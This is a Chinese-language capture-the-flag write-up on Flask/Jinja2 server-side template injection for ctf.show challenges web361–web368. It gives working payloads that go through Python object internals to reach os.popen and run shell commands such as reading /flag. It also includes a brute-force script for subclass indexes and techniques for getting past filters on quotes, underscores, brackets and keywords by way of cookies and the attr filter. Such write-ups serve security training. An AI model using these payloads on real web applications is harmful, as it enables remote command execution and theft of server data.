一般的注入流程
在检测到存在SSTI模板注入漏洞之后->获得内置类所对应的类->获得object基类->获得所有子类->获得可以执行shell命令的子类->找到该子类可以执行shell命令的方法->执行shell命令
检测有ssti漏洞的方法
参数赋值{{2*2}}或者在url后加上{{2*2}},看页面是否输出4,有则存在
获得内置类所对应的类方法
().__class__ (括号可换成 ‘’ 或 [] 或 “”)
__class__可以获得内置类所对应的项
获得object基类
().__class__.__base__
().__class__.__mro__[1]
(括号可换成 ‘’ 或 [] 或 “”)
__base__获得最高父项
__mro__获得所有父项
获得所有子类
().__class__.__base__.__subclasses__()
().__class__.__mro__[1].__subclasses__()
__subclasses__获得所有子类
获得可以执行shell命令的子类
一般使用os._wrap_close子类,因为该类具有popen方法,该方法可以执行系统命令
可以以下代码找到含有popen方法的子类,找到子类索引值为128
获得可以执行shell命令的子类
().__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']
__init__.__globals__可以获得类中所有变量即方法
执行shell命令
然后可以执行如whoami命令,用read()来读取一下,因为popen方法返回的是一个file对象
().__class__.__base__.__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
web361
看提示,名字是考点,尝试输入参数name=1,发现页面显示出1
判断是否有漏洞?name={{2*2}},页面显示4,有
获得内置类所对应的类?name={{().__class__}}
获得object基类?name={{().__class__.__base__}}
获得所有子类?name={{().__class__.__base__.__subclasses__()}}
通过python脚本来判断可以执行shell命令子类的索引值。
以子类是否存在popen方法为例,脚本使用requests模块请求页面,从页面的源代码观察是否含有’popen’。
import requests for num in range(500): try: url = "http://13e9efaa-f9c7-47ce-b784-225133e8c3c3.challenge.ctf.show/?name={{().__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__['popen']}}" res = requests.get(url=url).text if 'popen' in res: print(num) except: pass
找到索引为132。
执行shell命令?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}
找到flag
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
web362
多了过滤,上一题的方法就不能用了,可以用循环方法
?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
web363
过滤了 " 和 ' ,可以利用request.args
、request.cookies
或者request.values
(也可以用于GET请求) 来绕过
request.args就是获取请求链接中 ? 后面的所有参数,把所有参数转换成一个列表,列表里面的元素是一个元组,结构为:('id','1');,再转换成一个字典,还有编码等操作
request.cookies是一个对象,用于存储客户端发送给服务器的cookie信息。在HTTP请求中,客户端可以通过设置cookie来向服务器发送数据,服务器可以通过request.cookies来访问这些数据。这个对象通常包含了所有的cookie信息,可以通过键值对的方式来访问每个cookie的值。在Node.js中,可以通过req.cookies来访问这个对象。
?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat%20/flag
web364
过滤了 '
、"
和 args
,用 request.values
发现不允许,但是可以用 request.cookies
来绕过
?name={{a.__init__.__globals__[request.cookies.x].eval(request.cookies.y)}}
cookie:x=__builtins__;y=__import__("os").popen("cat /flag").read()
web365
过滤了{} ,‘ ,“ ,args
可以引入__getitem__调用字典中的键值,比如说a['b']就可以用a.getitem('b')来表示,成功绕过[]。
?name={{a.__init__.__globals__.__getitem__(request.cookies.x).eval(request.cookies.y)}}
cookie:x=__builtins__;y=__import__("os").popen("cat /flag").read()
web366
本题在上一题的基础上又过滤了_,所有带__的方法就不能用了,还是可以用cookie传参,使用flask框架自带的attr过滤器。attr用于获取变量,比如""|attr("__class__")就相当于"".__class__。
?name={{(lipsum|attr(request.cookies.x)).os.popen(request.cookies.y).read()}}
cookie:x=__globals__;y=cat /flag
web367
又过滤了os,继续使用flask框架自带的attr过滤器,将os放进requests即可
?name={{(lipsum|attr(request.cookies.x)).get(request.cookies.y).popen(request.cookies.z).read()}}
cookie:x=__globals__;y=os;z=cat /flag
web368
过滤了{{,上题的方法就不能用了。但是{}可以用{%%}代替,只是这种语法不会自动输出执行结果,添加print就好了。
?name={% print(lipsum|attr(request.cookies.x)).get(request.cookies.y).popen(request.cookies.z).read() %}
cookie:x=__globals__;y=os;z=cat /flag